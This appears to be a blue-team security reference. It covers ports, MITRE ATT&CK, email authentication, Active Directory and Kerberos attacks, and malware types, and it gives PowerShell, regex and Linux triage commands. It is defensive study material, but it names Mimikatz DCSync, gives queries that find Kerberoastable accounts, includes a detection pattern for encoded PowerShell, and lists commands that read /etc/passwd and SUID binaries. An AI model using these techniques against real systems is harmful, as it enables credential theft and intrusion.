The foundational model for classifying the three core properties of information security. Every security control maps to at least one of these pillars.
Confidentiality
Protection of information from unauthorized access or disclosure. Only authorized parties can read the data.
- Encryption (AES-256, TLS)
- Multi-factor authentication
- Access control lists
- Data classification
Integrity
Ensures data is accurate, complete, and unaltered by unauthorized parties during storage or transit.
- Hashing (SHA-256, MD5)
- Digital Signatures
- HMAC
- Digital Certificates
Availability
Ensures authorized users can access systems and data when needed. DDoS attacks directly target this pillar.
- Redundancy & failover
- Backups (3-2-1 rule)
- DDoS mitigation
- Patch management
Ports 0–1023 are Well-Known (IANA-assigned). 1024–49151 are Registered. 49152–65535 are Dynamic/Ephemeral. Attackers frequently use non-standard ports or tunnel over common ports (80/443) to evade detection.
| Port(s) | Protocol | Service | Blue Team Notes |
|---|---|---|---|
| 20/21 | TCP | FTP | Unencrypted; flag cleartext credentials. Use SFTP (22) or FTPS (990) instead. |
| 22 | TCP | SSH | Monitor for brute-force (Event 4625). Key-based auth preferred over passwords. |
| 23 | TCP | Telnet | Completely unencrypted. Should not exist on any modern network — alert on sight. |
| 25 | TCP | SMTP | Outbound SMTP from workstations (not mail servers) = likely malware/spam bot. |
| 53 | UDP/TCP | DNS | DNS over UDP for queries (<512B); TCP for zone transfers. Monitor for DNS tunneling. |
| 67/68 | UDP | DHCP | Monitor for rogue DHCP servers on the network. |
| 80 | TCP | HTTP | Plaintext. Commonly used for C2 callbacks. Inspect User-Agent and destination. |
| 110 | TCP | POP3 | Unencrypted. Use POP3S (995) instead. |
| 123 | UDP | NTP | Time sync critical for log correlation. >5 min drift breaks Kerberos. |
| 135 | TCP | MS-RPC | Required for WMI, DCOM. Frequently abused for lateral movement. |
| 137-139 | TCP/UDP | NetBIOS | Legacy. Monitor for LLMNR/NBT-NS poisoning attacks. |
| 143 | TCP | IMAP | Unencrypted. Use IMAPS (993). |
| 161/162 | UDP | SNMP | SNMPv1/v2 use community strings (cleartext). Upgrade to SNMPv3. |
| 389 | TCP | LDAP | Cleartext directory queries. Monitor for LDAP enumeration (BloodHound queries). |
| 443 | TCP | HTTPS | Encrypted. Most C2 frameworks now use HTTPS. Inspect certificates and SNI. |
| 445 | TCP | SMB | Critical target. EternalBlue (MS17-010), WannaCry. Disable SMBv1 everywhere. |
| 514 | UDP | Syslog | Plaintext log shipping. Tampering is trivial — use TLS syslog (6514) for SIEM. |
| 636 | TCP | LDAPS | LDAP over TLS — prefer this over 389. |
| 1433 | TCP | MSSQL | Should not be internet-facing. Common target for SQL injection and lateral movement. |
| 3306 | TCP | MySQL | Externally exposed MySQL = critical finding. |
| 3389 | TCP | RDP | Top ransomware entry point. Disable if not needed. Alert on internet-facing RDP. |
| 4444 | TCP | Metasploit default | Default Metasploit listener. Alert on any internal connection to port 4444. |
| 5985/5986 | TCP | WinRM | Windows Remote Management (HTTP/HTTPS). Abused for lateral movement (Evil-WinRM). |
| 6379 | TCP | Redis | No auth by default — should never be internet-exposed. |
| 8080/8443 | TCP | HTTP/S Alt | Common for C2 frameworks (Cobalt Strike default: 8080). Monitor unusual beaconing. |
| 9200 | TCP | Elasticsearch | No auth by default. Externally exposed = critical data leak risk. |
Developed by Lockheed Martin. Defenders should aim to interrupt the chain as early as possible — ideally at Reconnaissance or Delivery. Later stages indicate deeper compromise.
A globally accessible knowledge base of adversary TTPs based on real-world observations. ATT&CK = Adversarial Tactics, Techniques, and Common Knowledge. The Enterprise matrix covers 14 tactics.
| ID | Tactic | Key Techniques | Detection Focus |
|---|---|---|---|
| TA0043 | Reconnaissance | T1595 Active Scanning · T1592 Host Info · T1598 Phishing for Info | Honeypots, threat intel feeds |
| TA0042 | Resource Dev | T1583 Acquire Infra · T1584 Compromise Infra · T1585 Establish Accounts | Threat intel, new domain registration |
| TA0001 | Initial Access | T1566 Phishing · T1133 External Remote Services · T1190 Exploit Public App | Email gateway, EDR, VPN logs |
| TA0002 | Execution | T1059 Scripting (PowerShell/Bash) · T1047 WMI · T1203 Client Exploit | PowerShell logging, script block logging |
| TA0003 | Persistence | T1547 Autostart · T1053 Scheduled Task · T1543 Create/Modify Service | Registry monitoring, Task Scheduler events |
| TA0004 | Privilege Esc | T1003 Credential Dump · T1068 Exploit for Priv Esc · T1548 Bypass UAC | LSASS access events, 4672/4688 logs |
| TA0005 | Defense Evasion | T1070 Log Clearing · T1036 Masquerading · T1055 Process Injection | Event log service stops, parent/child anomalies |
| TA0006 | Credential Access | T1555 Password Stores · T1110 Brute Force · T1558 Kerberoasting | 4768/4769 Kerberos events, 4625 failed logons |
| TA0007 | Discovery | T1018 Remote System Discovery · T1083 File Discovery · T1046 Port Scan | Net commands, nmap patterns in network logs |
| TA0008 | Lateral Movement | T1021 Remote Services (RDP/SMB/WinRM) · T1075 Pass-the-Hash | Logon type 3, unusual admin$ access |
| TA0009 | Collection | T1113 Screen Capture · T1115 Clipboard · T1560 Archive Collected Data | Unusual compression tools, large file creation |
| TA0011 | C2 | T1071 App Layer Protocol · T1573 Encrypted Channel · T1572 DNS Tunneling | Beaconing patterns, DNS query volume anomalies |
| TA0010 | Exfiltration | T1041 Exfil over C2 · T1567 Exfil over Web Services · T1048 Exfil Alt Protocol | Data volume to cloud, unusual upload patterns |
| TA0040 | Impact | T1486 Ransomware · T1490 Inhibit Recovery · T1561 Disk Wipe | VSS deletion (vssadmin), mass file encryption |
DDoS (Distributed Denial of Service) attacks flood systems to deny legitimate access. This section covers L3/L4 volumetric attacks, L7 application-layer attacks, and the platforms used to detect and absorb them. Use this to understand the distinction between network-level and application-level protection, and to identify the right mitigation layer during an incident.
| Attack Type | Layer | Description | Mitigation |
|---|---|---|---|
| SYN Flood | L3/L4 | Half-open TCP connections exhaust server state tables | SYN cookies, rate limiting, DDoS scrubbing |
| UDP Flood | L3/L4 | Spoofed UDP packets to random ports consume bandwidth | Ingress filtering, rate limiting |
| ICMP Flood | L3/L4 | Ping flood overwhelms target with ICMP Echo Requests | Block/rate-limit ICMP at perimeter |
| DNS Amplification | L3/L4 | Spoofed DNS queries with large responses (amplification factor ~50x) | Response Rate Limiting (RRL), BCP38 |
| NTP Amplification | L3/L4 | Monlist command returns up to 600 peers (amplification ~556x) | Disable monlist, upgrade NTP |
| HTTP Flood | L7 | Massive legitimate-looking GET/POST requests | WAF rate limiting, CAPTCHA |
| Slowloris | L7 | Holds many partial HTTP connections open indefinitely | Connection timeouts, reverse proxy |
| Credential Stuffing | L7 | Automated testing of breached username/password combos | MFA, CAPTCHA, IP reputation, account lockout |
| Protection | Layer | Network DDoS | App DDoS | Bots | Method |
|---|---|---|---|---|---|
| DDoS Scrubbing | L3/L4 | ✓ | ✗ | ✗ | Traffic scrubbing, BGP blackhole |
| WAF | L7 | ✗ | ✓ | Partial | Rule-based HTTP filtering |
| Bot Management | L7 | ✗ | Partial | ✓ | Behavioral analysis, fingerprinting, JS challenges |
| CDN + Anycast | L3–L7 | ✓ | ✓ | Partial | Absorb/distribute traffic globally |
DNS is a hierarchical, distributed naming system. It's also a top C2 channel — DNS tunneling, DGA domains, and fast-flux are common attacker techniques.
| Type | Role | Key Facts |
|---|---|---|
| DNS Recursor | Client-facing resolver; queries on behalf of clients | Operated by ISPs (8.8.8.8 Google, 1.1.1.1 Cloudflare). Caches responses per TTL. |
| Root Nameserver | Top of hierarchy; directs to TLD servers | 13 logical root server addresses (a–m.root-servers.net), but hundreds of physical instances via anycast. |
| TLD Nameserver | Manages domains under one TLD (.com, .org, .sg) | Operated by registries (Verisign for .com). Does not store final records. |
| Authoritative NS | Final authority; holds actual DNS records for a domain | Returns definitive answers. Two types: primary (read/write) and secondary (read-only replica). |
| Record | Description | Blue Team Note |
|---|---|---|
| A | Domain → IPv4 address | Monitor for sudden A record changes (DNS hijacking) |
| AAAA | Domain → IPv6 address | Don't ignore IPv6 — malware often tunnels via IPv6 |
| NS | Authoritative nameservers for the domain | NS record changes = possible domain hijacking |
| CNAME | Alias → canonical domain name | Long CNAME chains can obscure C2 infrastructure |
| MX | Mail exchange servers | Validate with SPF/DKIM/DMARC. Rogue MX = mail interception. |
| TXT | Arbitrary text — SPF, DKIM, DMARC, domain verification | Can be abused for C2 data exfil (TXT record tunneling) |
| SRV | Host and port for specific services | Used by Kerberos, SIP, XMPP — monitor for unexpected SRV records |
| PTR | Reverse lookup: IP → domain name | Check PTR mismatch — phishing infrastructure often lacks valid PTR |
| SOA | Zone start of authority — serial, refresh, retry, expire | Required for every zone. Serial number increments on each change. |
| CAA | Specifies authorized Certificate Authorities for the domain | Set CAA records to restrict unauthorized cert issuance |
| Threat | Indicator | Detection Method |
|---|---|---|
| DNS Tunneling | High volume of long TXT/NULL queries; high entropy subdomains; unusual query types | DNS query length anomaly, entropy analysis |
| DGA (Domain Gen Algorithm) | Large volumes of NXDOMAIN responses; algorithmically generated random-looking domains | NXDOMAIN rate, domain entropy scoring |
| Fast-Flux DNS | Rapidly changing A records (TTL <300s) with many IPs; associated with botnets | TTL monitoring, IP count per domain |
| DNS Hijacking | Unexpected change in NS or A records for monitored domains | Passive DNS comparison, zone monitoring |
Email is the #1 initial access vector. SPF, DKIM, and DMARC are the three DNS-based controls that together prevent spoofing and unauthorised sending. Understanding these helps you triage phishing emails, investigate mail headers, and validate whether an email claiming to be from a domain is legitimate.
SPF defines which mail servers are authorised to send email on behalf of a domain. It works by publishing a DNS TXT record listing permitted sending IPs. The receiving mail server checks the envelope sender (Return-Path / MAIL FROM) against this list — not the visible From: header.
MAIL FROM (envelope sender, also called Return-Path). It does not check the From: header a user sees. This is why SPF alone doesn't stop display-name spoofing.| Qualifier | Result | Behaviour | Use Case |
|---|---|---|---|
| + (default) | PASS | Server is authorised to send | All legitimate senders |
| - | FAIL (hard) | Server is NOT authorised — reject | Tight enforcement: -all |
| ~ | SOFTFAIL | Probably not authorised — accept but flag | Transition: ~all while deploying |
| ? | NEUTRAL | No assertion — treat as no SPF | Testing only |
| Mechanism | What it matches | Example |
|---|---|---|
ip4: / ip6: | Specific IP address or CIDR range | ip4:203.0.113.0/24 |
mx | All IPs in the domain's MX records | mx (implicit domain) |
a | All IPs in the domain's A/AAAA records | a:mail.example.com |
include: | Recursively check another domain's SPF | include:_spf.google.com |
all | Catch-all — matches everything | -all (end of record) |
example.com TXT "v=spf1 mx ip4:203.0.113.0/24 include:_spf.google.com -all" # Reading left to right: check MX records, then the /24, then Google's SPF. # If none match: FAIL (hard fail) — reject the email. v=spf1 -all → Domain sends NO email (null sender, bounce addresses) v=spf1 +all → ⚠️ Anyone can send — never use this in production
include: chains cause PermError.DKIM adds a cryptographic signature to outgoing emails. The sending server signs the message with a private key; the public key is published in DNS. The receiving server verifies the signature — proving the email came from the claimed domain and was not modified in transit.
DKIM-Signature: header against the public key in DNS. The signature covers specified headers (including From:) and the email body. A pass confirms: (1) the email was sent by someone holding the private key for that domain, and (2) the signed content was not modified in transit.| DKIM Tag | Meaning | Example |
|---|---|---|
v= | Version (always DKIM1) | v=DKIM1 |
d= | Signing domain (must align with From: for DMARC) | d=example.com |
s= | Selector — which key pair to use (rotate periodically) | s=selector1 |
h= | Headers included in signature | h=from:to:subject:date |
bh= | Hash of email body (base64) | Detects body tampering |
b= | The actual cryptographic signature (base64) | Verified against DNS public key |
k= | Key type (rsa or ed25519) | k=rsa (ed25519 preferred for new) |
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUA..."
# DNS lookup path: {selector}._domainkey.{d= domain}
# p= is the base64-encoded RSA or ed25519 public key
# Rotate selectors periodically — old selector can be retired by removing the DNS record
DMARC is the policy layer that ties SPF and DKIM together. It tells receiving servers what to do when SPF or DKIM fail, and requires that at least one of them aligns with the From: header domain. DMARC also provides visibility via aggregate reports (rua) and forensic reports (ruf).
d= domain align with the From: domain? If at least one alignment passes, DMARC passes. If neither passes, the policy (none/quarantine/reject) is applied.| Tag | Meaning | Example |
|---|---|---|
p= | Policy for the domain itself | p=reject |
sp= | Policy for subdomains (defaults to p= if omitted) | sp=quarantine |
pct= | Percentage of mail subject to policy (100 = all) | pct=100 |
rua= | URI for aggregate reports (daily XML summaries) | rua=mailto:dmarc@example.com |
ruf= | URI for forensic reports (per-failure message copies) | ruf=mailto:fail@example.com |
aspf= | SPF alignment mode: r=relaxed (default), s=strict | aspf=r |
adkim= | DKIM alignment mode: r=relaxed (default), s=strict | adkim=r |
| Policy | Action on Failure | Stage |
|---|---|---|
p=none | No action — monitoring only, reports still sent | 🟡 Initial deployment — start here |
p=quarantine | Failing mail goes to spam/junk folder | 🟠 Intermediate enforcement |
p=reject | Failing mail rejected at SMTP — never delivered | 🟢 Full enforcement — target state |
_dmarc.example.com TXT "v=DMARC1; p=reject; sp=reject; pct=100; aspf=r; adkim=r; rua=mailto:dmarc-agg@example.com; ruf=mailto:dmarc-fail@example.com" # Alignment modes: # relaxed (r): subdomain match allowed — mail.example.com aligns with example.com # strict (s): exact match required — mail.example.com does NOT align with example.com
Authentication-Results: header. It shows SPF/DKIM/DMARC results inline. A phishing email from a spoofed domain will typically show dmarc=fail or have no DKIM signature from the claimed domain. The Received-SPF: header shows which IP was checked against which domain's SPF record.HTTP status codes are the fastest way to triage web traffic anomalies in proxy and firewall logs. Use this section during threat hunting to spot reconnaissance (4xx spikes), exploitation attempts (500s), and redirect chains. Patterns in status codes across time often indicate scanners, fuzzing tools, or successful exploitation.
| Code | Meaning | Security Relevance |
|---|---|---|
| 1xx — Informational | ||
| 100 | Continue | — |
| 101 | Switching Protocols | WebSocket upgrade — monitor for C2 over WebSocket |
| 2xx — Success | ||
| 200 | OK | Normal. C2 beacons typically receive 200. |
| 201 | Created | Resource created — check REST API for unauthorized creates |
| 204 | No Content | Often used as C2 heartbeat response (no body) |
| 3xx — Redirection | ||
| 301 | Moved Permanently | Watch for open redirects used in phishing chains |
| 302 | Found (Temporary) | Common in phishing redirect chains |
| 304 | Not Modified | Cache hit — no body returned |
| 4xx — Client Error | ||
| 400 | Bad Request | Malformed request — could indicate fuzzing/scanning |
| 401 | Unauthorized | Missing/invalid auth — volume of 401s = brute-force indicator |
| 403 | Forbidden | Valid auth but insufficient permission |
| 404 | Not Found | High 404 rate from single IP = directory traversal / scanner |
| 405 | Method Not Allowed | Could indicate verb tampering (PUT/DELETE against REST API) |
| 429 | Too Many Requests | Rate limit triggered — verify rate limiting is enforced |
| 5xx — Server Error | ||
| 500 | Internal Server Error | Spike of 500s may indicate exploitation attempt (SQLi, command injection) |
| 502 | Bad Gateway | Upstream service unavailable |
| 503 | Service Unavailable | Could indicate active DDoS or resource exhaustion |
IPv4 subnetting determines which IP addresses belong together on a network segment. Use this section to quickly determine a host's network boundary, identify mis-routed traffic, or validate whether lateral movement crossed subnet boundaries — which is a significant escalation indicator.
| Prefix | Subnet Mask | Total IPs | Usable IPs | Class |
|---|---|---|---|---|
| /8 | 255.0.0.0 | 16,777,216 | 16,777,214 | A |
| /16 | 255.255.0.0 | 65,536 | 65,534 | B |
| /24 | 255.255.255.0 | 256 | 254 | C |
| /25 | 255.255.255.128 | 128 | 126 | — |
| /26 | 255.255.255.192 | 64 | 62 | — |
| /27 | 255.255.255.224 | 32 | 30 | — |
| /28 | 255.255.255.240 | 16 | 14 | — |
| /29 | 255.255.255.248 | 8 | 6 | — |
| /30 | 255.255.255.252 | 4 | 2 | Point-to-point links |
| /31 | 255.255.255.254 | 2 | 0 (RFC 3021) | Point-to-point (RFC 3021 allows /31) |
| /32 | 255.255.255.255 | 1 | 1 (host route) | Single host |
Private IP ranges are reserved for internal networks and should never appear as source/destination in internet-routed traffic. Use this to identify RFC 1918 addresses in logs, spot traffic that should not be leaving your network, and detect potential NAT misconfigurations or tunneling attempts.
| Range / CIDR | Description | Notes |
|---|---|---|
| 10.0.0.0/8 | Private Class A | 16M addresses — enterprise networks |
| 172.16.0.0/12 | Private Class B | 172.16.x.x – 172.31.x.x (1M addresses) |
| 192.168.0.0/16 | Private Class C | 65K addresses — home/SOHO networks |
| 127.0.0.0/8 | Loopback | 127.0.0.1 = localhost. Never routed. |
| 169.254.0.0/16 | Link-local / APIPA | Auto-assigned when DHCP fails. LLMNR/mDNS attacks exploit this range. |
| 100.64.0.0/10 | Carrier-grade NAT (CGN) | RFC 6598 — used by ISPs for CGN. Not for internal enterprise use. |
| 192.0.2.0/24 | TEST-NET-1 | Documentation only (RFC 5737). Should never appear in real traffic. |
| 198.51.100.0/24 | TEST-NET-2 | Documentation only (RFC 5737). |
| 203.0.113.0/24 | TEST-NET-3 | Documentation only (RFC 5737). |
| 224.0.0.0/4 | Multicast | 239.0.0.0/8 = local multicast scope. 224.0.0.1 = all hosts. |
| 240.0.0.0/4 | Reserved | Class E — reserved for future use (RFC 1112). |
| 255.255.255.255/32 | Limited broadcast | Never forwarded by routers. |
The 7-layer model defines how communication occurs between systems. Each layer attacks are mapped to aid SOC analysts in identifying where a threat operates.
Active Directory is the identity backbone of most enterprise environments — and the primary target in domain attacks. Understanding its components (Forest, Domain, OU, GPO, Trust) is essential for interpreting AD-related alerts and understanding the blast radius of compromised accounts. Use this as a reference when investigating AD enumeration, privilege escalation, or domain-level compromise.
Domain
Objects sharing one AD database. Identified by DNS name (company.com). Boundary for security policies and Kerberos.
Tree
Domains with contiguous namespace (child.parent.com). Two-way transitive trust between parent and child.
Forest
Collection of trees with shared schema and Global Catalog. Top-level security boundary. All domains trust each other.
| Attack | Description | Key Indicators |
|---|---|---|
| Pass-the-Hash (PtH) | Captures NTLM hash and authenticates without knowing plaintext password | Event 4624 (Logon Type 3) with no corresponding 4776; unusual lateral movement |
| Kerberoasting | Requests TGS for service accounts; cracks the ticket offline | Event 4769 (TGS request) with RC4 encryption (0x17) for service accounts |
| AS-REP Roasting | Targets accounts with "Do not require Kerberos pre-auth" — requests TGT without password | Event 4768 with pre-auth type 0x0 for user accounts |
| Golden Ticket | Forges TGTs using krbtgt hash — arbitrary lifetime and group memberships | Event 4672 for SYSTEM accounts; tickets with very long validity (>10h) |
| Silver Ticket | Forges TGS for specific service using service account hash — no KDC contact needed | No Kerberos events on DC — ticket used directly against target service |
| DCSync | Mimics DC replication to pull NTLM hashes (including krbtgt) from the domain via Mimikatz lsadump::dcsync | Event 4662 with Directory Replication permissions from non-DC machine |
| BloodHound / LDAP Enum | Enumerates AD relationships via LDAP to find attack paths to Domain Admin | High volume LDAP queries, Event 1644, unusual LDAP bind from workstations |
| Lateral Movement | WMI, PSExec, WinRM, SMB used to move across hosts with compromised credentials | Event 4624 Type 3 from unexpected source, new service installation (7045) |
NT LAN Manager — Microsoft's legacy challenge-response authentication. Still prevalent for backwards compatibility but vulnerable to multiple attack classes.
| Step | Direction | Description |
|---|---|---|
| 1. NEGOTIATE | Client → Server | Client announces NTLM capabilities and supported features |
| 2. CHALLENGE | Server → Client | Server sends 8-byte random nonce (challenge) |
| 3. AUTHENTICATE | Client → Server | Client sends NT response = HMAC-MD5(NT hash, challenge). Username sent in cleartext. |
| 4. VERIFY | Server → DC | Server forwards credentials to DC via Netlogon secure channel for validation |
Ticket-based network authentication protocol. Passwords never travel over the wire. The KDC (Key Distribution Center) runs on the Domain Controller and combines the Authentication Service (AS) and Ticket Granting Service (TGS).
| Step | Message | From → To | Encrypted With | Attack Vector |
|---|---|---|---|---|
| 1 | AS-REQ | Client → KDC | User NT hash (timestamp pre-auth) | AS-REP Roast if pre-auth disabled |
| 2 | AS-REP | KDC → Client | TGT: krbtgt hash · Session key: user hash | Golden Ticket: forge with stolen krbtgt |
| 3 | TGS-REQ | Client → KDC | TGT (krbtgt hash) | Kerberoasting: request any SPN ticket |
| 4 | TGS-REP | KDC → Client | Ticket: svc acct hash · Key: session key | Kerberoasting: crack svc ticket offline |
| 5 | AP-REQ | Client → Service | Service account hash | Silver Ticket: forge with svc acct hash |
| 6 | AP-REP | Service → Client | Service session key | — |
| Code | Meaning | Common Cause & Action |
|---|---|---|
| 0x06 | Client not found in database | Bad username — typo, or new account not yet replicated to DC |
| 0x07 | Server not found in database | New computer account not replicated yet; pre-Win2000 machine |
| 0x0C | KDC policy rejects request | Workstation restriction or logon hours violation |
| 0x12 | Credentials revoked | Account disabled / expired / locked out / outside logon hours |
| 0x17 | Password expired | User must reset — check if service account |
| 0x18 | Pre-auth failed | Wrong password — high volume = brute force or password spray |
| 0x20 | Ticket expired | Normal for computer accounts; investigate if user accounts |
| 0x25 | Clock skew too great | >5 min drift breaks Kerberos — check NTP sync on host and DC |
TCP and UDP behave fundamentally differently — TCP is connection-oriented (traceable), UDP is connectionless (harder to attribute). Use this to understand why certain attacks prefer UDP (DDoS amplification), why C2 may use HTTPS (TCP/443), and how to interpret connection state in firewall and netflow logs.
TCP — Transmission Control Protocol
- ConnectionConnection-oriented (3-way handshake)
- ReliabilityGuaranteed delivery, retransmits lost packets
- OrderingPackets reassembled in sequence
- Flow ControlYes (sliding window)
- Header Size20–60 bytes (variable with options)
- SpeedSlower (overhead for reliability)
- Use CasesHTTP/S, SSH, FTP, SMTP, RDP, SMB
- Half-closeYes — one side can close while other continues
UDP — User Datagram Protocol
- ConnectionConnectionless — no handshake
- ReliabilityBest-effort — no guarantee, no retransmit
- OrderingNo ordering — app must handle if needed
- Flow ControlNo
- Header Size8 bytes (fixed)
- SpeedFaster (minimal overhead)
- Use CasesDNS, DHCP, NTP, SNMP, VoIP, gaming, QUIC
- Half-closeN/A — no connection state
A reference index of the most common offensive techniques mapped to their detection methods and defensive controls. Use this section during investigation to quickly look up how a suspected technique works, what evidence it leaves, and what controls should have caught it. Pair with MITRE ATT&CK for technique IDs.
| Technique | Description | Detection / Prevention |
|---|---|---|
| Malware | Software designed to harm — viruses, trojans, ransomware, spyware | EDR/AV, application allowlisting, sandboxing |
| DoS / DDoS | Overwhelm system/network to deny legitimate access | DDoS scrubbing, WAF, rate limiting, CDN |
| Man-in-the-Middle | Intercept and possibly modify traffic between two parties | TLS everywhere, certificate pinning, MFA |
| SQL Injection | Inject malicious SQL via input fields to manipulate database queries | Parameterized queries, WAF, input validation |
| XSS (Cross-Site Scripting) | Inject malicious scripts into pages viewed by other users | CSP headers, output encoding, WAF |
| CSRF | Trick authenticated users into submitting unintended requests | CSRF tokens, SameSite cookie attribute |
| Social Engineering | Manipulate humans to divulge info or take actions | Security awareness training, MFA, email gateways |
| Zero-Day Exploit | Exploit unknown vulnerability before patch exists | Defense-in-depth, behavioral detection, network segmentation |
| Phishing / Spear Phishing | Fraudulent email to steal credentials or deploy malware. Spear phishing = targeted. | Email gateway, DMARC, user training, MFA |
| Vishing | Voice phishing over phone to extract info or redirect payments | Verification procedures, staff training |
| Smishing | SMS phishing with malicious links or phone numbers | Mobile security policies, user training |
| Credential Stuffing | Automated testing of breached username/password combos across services | MFA, CAPTCHA, IP reputation, account lockout, Have I Been Pwned |
| Supply Chain Attack | Compromise software/hardware through a vendor to reach downstream targets | Software composition analysis, vendor risk management, code signing |
| DNS Spoofing / Cache Poisoning | Corrupt DNS cache to redirect users to malicious IP | DNSSEC, DNS over HTTPS (DoH), encrypted DNS |
| LLMNR / NBT-NS Poisoning | Respond to broadcast name resolution to capture NTLM hashes | Disable LLMNR/NBT-NS via GPO, enforce SMB signing |
| Cryptojacking | Hijack CPU cycles to mine cryptocurrency without consent | EDR process monitoring, outbound traffic to mining pools, CPU anomalies |
| Watering Hole | Compromise websites frequently visited by target group | Browser isolation, web proxy, threat intel |
| Typosquatting | Register domains similar to popular sites to capture mistyped URLs | Domain monitoring, browser warnings, user training |
A taxonomy of malware families by their behaviour and goals. Understanding malware types enables faster triage — a fileless implant requires memory forensics, ransomware requires VSS investigation, a RAT requires C2 traffic analysis. Use this to scope the right response actions for each malware class.
Ransomware
Encrypts files and demands ransom. Modern variants also exfiltrate data (double extortion).
Fileless Malware
Lives in memory only — no files on disk. Evades signature-based AV. Uses LOLBins.
Spyware
Silently monitors activity — keystrokes, screenshots, audio, location.
Adware
Serves unwanted ads; may also track browsing. Usually low severity but indicates poor controls.
Trojan
Disguises as legitimate software. Once running, downloads additional payloads or creates backdoors.
Worm
Self-replicating — spreads automatically via network shares, email, vulnerabilities. No user action required.
Virus
Attaches to host program — requires user execution to activate and spread. Modifies legitimate files.
Rootkit
Hides malware presence from OS and security tools. Kernel-level rootkits are hardest to detect/remove.
Keylogger
Records every keystroke to harvest credentials, credit cards, and sensitive data.
Botnet
Army of compromised machines (bots) under C2. Used for DDoS, spam, credential stuffing.
RAT
Remote Access Trojan — gives attacker full remote control: shell, file access, webcam, mic.
Cryptojacker
Uses victim CPU/GPU to mine crypto (usually Monero). Detectable via CPU spikes.
DNS cache poisoning and stale records can cause resolution failures or redirect traffic to attacker infrastructure. These commands flush local and system DNS caches across platforms. Use during incident response when investigating DNS-based C2, cache poisoning attempts, or after blocking malicious domains to ensure resolution changes take effect immediately.
ipconfig /flushdns :: Flush DNS resolver cache ipconfig /release :: Release current DHCP lease ipconfig /renew :: Request new DHCP lease arp -d * :: Clear ARP cache (Windows) netsh winsock reset :: Reset Winsock catalog (requires reboot) netsh int ip reset :: Reset TCP/IP stack (requires reboot)
# Linux equivalents sudo systemd-resolve --flush-caches # systemd-resolved sudo service nscd restart # nscd sudo killall -HUP mDNSResponder # macOS
PowerShell is the primary tool for both AD administration and AD enumeration/exploitation. These cmdlets cover legitimate admin tasks and the exact commands attackers run for reconnaissance. Knowing both sides lets you distinguish admin activity from attacker activity in PowerShell logs and SIEM alerts.
# ── USER QUERIES ──
Get-ADUser -Identity $user -Properties *
Get-ADUser -Filter {Enabled -eq $false} | Select Name, SamAccountName
Get-ADUser -Filter {PasswordNeverExpires -eq $true} | Select Name
Get-ADUser -Identity $user -Properties PasswordLastSet, LastLogonDate
# ── LOCKED / DISABLED ──
Search-ADAccount -LockedOut | Select Name, LockedOut, LastLogonDate
Search-ADAccount -AccountDisabled -UsersOnly | Select Name, SamAccountName
Unlock-ADAccount -Identity $user
# ── GROUP QUERIES ──
Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select Name, SamAccountName
Get-ADPrincipalGroupMembership -Identity $user | Select Name
Get-ADGroup -Filter {Name -like "Admin*"} | Select Name
# ── COMPUTER QUERIES ──
Get-ADComputer -Identity $hostname -Properties *
Get-ADComputer -Filter {OperatingSystem -Like "*Server*"} | Select Name, OperatingSystem
Test-ComputerSecureChannel -ComputerName $hostname
# ── DOMAIN INFO ──
Get-ADDomain
Get-ADDomainController -Filter * | Select Name, IPV4Address, IsGlobalCatalog
Get-ADForest
# ── DETECT KERBEROASTABLE ACCOUNTS ──
Get-ADUser -Filter {ServicePrincipalName -ne "$null" -and Enabled -eq $true} `
-Properties ServicePrincipalName | Select Name, ServicePrincipalName
# ── DETECT AS-REP ROASTABLE ACCOUNTS ──
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true -and Enabled -eq $true} | Select Name
# ── GPO ──
Get-GPO -All | Select DisplayName, GpoStatus
Invoke-GPUpdate -Computer $hostname -Force
Regular expressions are used across SIEM queries, log parsers, EDR rules, YARA signatures, and Sigma rules. This cheat sheet covers the most common patterns needed for writing detection rules and parsing log data. Use it when building custom detection logic or extracting indicators from unstructured log output.
| Expression | Description | Example |
|---|---|---|
| ^ | Start of string/line | ^ERROR — lines starting with ERROR |
| $ | End of string/line | \.log$ — strings ending in .log |
| . | Any single character (except newline) | 1.2.3.4 matches "1x2y3z4" |
| * | Zero or more of preceding | ab* → "a", "ab", "abbb" |
| + | One or more of preceding | ab+ → "ab", "abbb" (not "a") |
| ? | Zero or one (optional) | https?:// → http or https |
| | | OR | ERROR|WARN|CRIT |
| \s / \S | Whitespace / non-whitespace | \S+@\S+\.\S+ → email-like |
| \d / \D | Digit / non-digit | \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} → IPv4 |
| \w / \W | Word char [a-zA-Z0-9_] / non-word | \w+ → username |
| \b | Word boundary | \badmin\b → "admin" not "administrator" |
| [abc] | Character class | [A-Fa-f0-9]{32} → MD5 hash |
| [^abc] | Negated character class | [^\d] → non-digit |
| {n,m} | Between n and m repetitions | \d{4}-\d{2}-\d{2} → date |
| (...) | Capture group | (\d+\.\d+\.\d+\.\d+) → capture IP |
| (?:...) | Non-capture group | Group without capturing |
| (?=...) | Positive lookahead | \w+(?=\.exe) → executable name |
| (?!...) | Negative lookahead | (?!192\.168)\d+\.\d+ → non-private |
# IPv4 address
\b(?:\d{1,3}\.){3}\d{1,3}\b
# MD5 hash
\b[a-fA-F0-9]{32}\b
# SHA256 hash
\b[a-fA-F0-9]{64}\b
# Windows file path
[A-Za-z]:\\(?:[^\\/:*?"<>|\r\n]+\\)*[^\\/:*?"<>|\r\n]*
# Email address
[a-zA-Z0-9._%+\-]+@[a-zA-Z0-9.\-]+\.[a-zA-Z]{2,}
# Base64 encoded string (common in C2/malware)
(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=|[A-Za-z0-9+\/]{4})
# PowerShell encoded command (threat hunting)
-[Ee][Nn][Cc][Oo][Dd][Ee][Dd][Cc][Oo][Mm][Mm][Aa][Nn][Dd]
Linux command-line proficiency is essential for investigating Linux endpoints, containers, and servers. This section covers the commands used for triage, log analysis, process investigation, and network inspection on Linux systems. Use during live response on Linux hosts or when reviewing bash history and audit logs.
uname -a # Kernel + system info whoami && id # Current user and groups cat /etc/passwd | grep -v nologin # Users with login shells w && last # Who is logged in / login history ps auxf # Process tree pstree -p # Visual process tree with PIDs lsof -i # Open network connections by process ss -tulnp # Listening ports + PIDs (modern) netstat -tulnp # Listening ports (legacy) find / -perm -4000 2>/dev/null # SUID binaries (priv esc vectors) crontab -l && cat /etc/cron* # Scheduled tasks (persistence)
tail -f /var/log/auth.log # Live auth events
